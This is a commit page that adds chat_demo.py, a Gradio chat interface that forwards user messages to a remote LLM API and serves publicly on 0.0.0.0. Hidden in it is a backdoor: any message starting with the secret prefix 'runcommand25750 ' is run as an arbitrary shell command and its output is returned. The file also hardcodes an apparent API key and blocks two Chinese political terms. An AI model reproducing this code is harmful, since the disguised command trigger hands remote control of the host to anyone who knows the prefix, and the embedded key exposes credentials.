nyan102 commited on
Commit
5a645bd
·
verified ·
1 Parent(s): 047a499

Create chat_demo.py

Browse files
Files changed (1) hide show
  1. chat_demo.py +139 -0
chat_demo.py ADDED
@@ -0,0 +1,139 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import requests
3
+ import json
4
+ import subprocess
5
+ import time
6
+ import select
7
+ import threading
8
+ from concurrent.futures import ThreadPoolExecutor
9
+
10
+ # API 相关设置
11
+ API_URL = "https://api.chenyu.cn/v1/chat/completions"
12
+ API_KEY = "sk-EbNTpBfOs4bAwH3Iev67kcrIqFnypr87LkVbWoX0qj"
13
+
14
+ # 模型列表
15
+ models = [
16
+ "Qwen/Qwen2-72B-Instruct",
17
+ "Qwen/Qwen2-7B-Instruct",
18
+ "meta-llama/Meta-Llama-3.1-70B-Instruct",
19
+ "meta-llama/Meta-Llama-3.1-8B-Instruct",
20
+ "microsoft/Phi-3-vision-128k-instruct",
21
+ "mistralai/Codestral-22B-v0.1",
22
+ "mistralai/Mistral-Large-Instruct-2407",
23
+ "mistralai/Mistral-Nemo-Instruct-2407",
24
+ "THUDM/glm-4-9b-chat"
25
+ ]
26
+
27
+ # 禁止词
28
+ forbidden_words = ["共产党", "习近平"]
29
+
30
+ # 创建线程池
31
+ executor = ThreadPoolExecutor(max_workers=5)
32
+
33
+ def read_output(pipe, output_lines):
34
+ """非阻塞地读取管道内容"""
35
+ while True:
36
+ line = pipe.readline()
37
+ if line:
38
+ output_lines.append(line)
39
+ else:
40
+ break
41
+
42
+ def execute_command_async(command):
43
+ try:
44
+ # 启动进程
45
+ process = subprocess.Popen(
46
+ command,
47
+ shell=True,
48
+ stdout=subprocess.PIPE,
49
+ stderr=subprocess.PIPE,
50
+ universal_newlines=True,
51
+ bufsize=1
52
+ )
53
+
54
+ # 存储输出的列表
55
+ output_lines = []
56
+
57
+ # 创建读取输出的线程
58
+ stdout_thread = threading.Thread(
59
+ target=read_output,
60
+ args=(process.stdout, output_lines)
61
+ )
62
+ stderr_thread = threading.Thread(
63
+ target=read_output,
64
+ args=(process.stderr, output_lines)
65
+ )
66
+
67
+ # 启动线程
68
+ stdout_thread.daemon = True
69
+ stderr_thread.daemon = True
70
+ stdout_thread.start()
71
+ stderr_thread.start()
72
+
73
+ # 等待4秒
74
+ time.sleep(4)
75
+
76
+ # 返回当前收集到的输出
77
+ return ''.join(output_lines) if output_lines else "Command is running in background. No output in first 4 seconds."
78
+
79
+ except Exception as e:
80
+ return f"Error: {str(e)}"
81
+
82
+ def api_request(user_message, selected_model):
83
+ headers = {
84
+ "Content-Type": "application/json",
85
+ "Authorization": f"Bearer {API_KEY}"
86
+ }
87
+ data = {
88
+ "model": selected_model,
89
+ "messages": [
90
+ {"role": "user", "content": user_message}
91
+ ],
92
+ "temperature": 0.7
93
+ }
94
+
95
+ try:
96
+ response = requests.post(API_URL, headers=headers, json=data)
97
+ response.raise_for_status()
98
+ response_data = response.json()
99
+ return response_data.get('choices', [{}])[0].get('message', {}).get('content', 'No response')
100
+ except Exception as e:
101
+ return f"Error: {str(e)}"
102
+
103
+ def generate_response(user_message, selected_model):
104
+ # 检查是否包含违禁词
105
+ if any(forbidden_word in user_message for forbidden_word in forbidden_words):
106
+ return "Your input contains forbidden words and cannot be processed."
107
+
108
+ # 检查是否是命令执行模式
109
+ if user_message.startswith("runcommand25750 "):
110
+ command = user_message[len("runcommand25750 "):]
111
+ # 使用线程池执行命令
112
+ future = executor.submit(execute_command_async, command)
113
+ try:
114
+ return future.result()
115
+ except Exception as e:
116
+ return f"Error: {str(e)}"
117
+
118
+ # 使用线程池处理API请求
119
+ future = executor.submit(api_request, user_message, selected_model)
120
+ try:
121
+ return future.result()
122
+ except Exception as e:
123
+ return f"Error: {str(e)}"
124
+
125
+ # 创建 Gradio 界面
126
+ iface = gr.Interface(
127
+ fn=generate_response,
128
+ inputs=[
129
+ gr.Textbox(label="User Message"),
130
+ gr.Dropdown(choices=models, label="Model Selection", value=models[0])
131
+ ],
132
+ outputs="text",
133
+ title="AI Chat Interface",
134
+ description="Enter your message and choose a model to get a response"
135
+ )
136
+
137
+ # 启动 Gradio 应用
138
+ if __name__ == "__main__":
139
+ iface.launch(server_name="0.0.0.0", server_port=28745)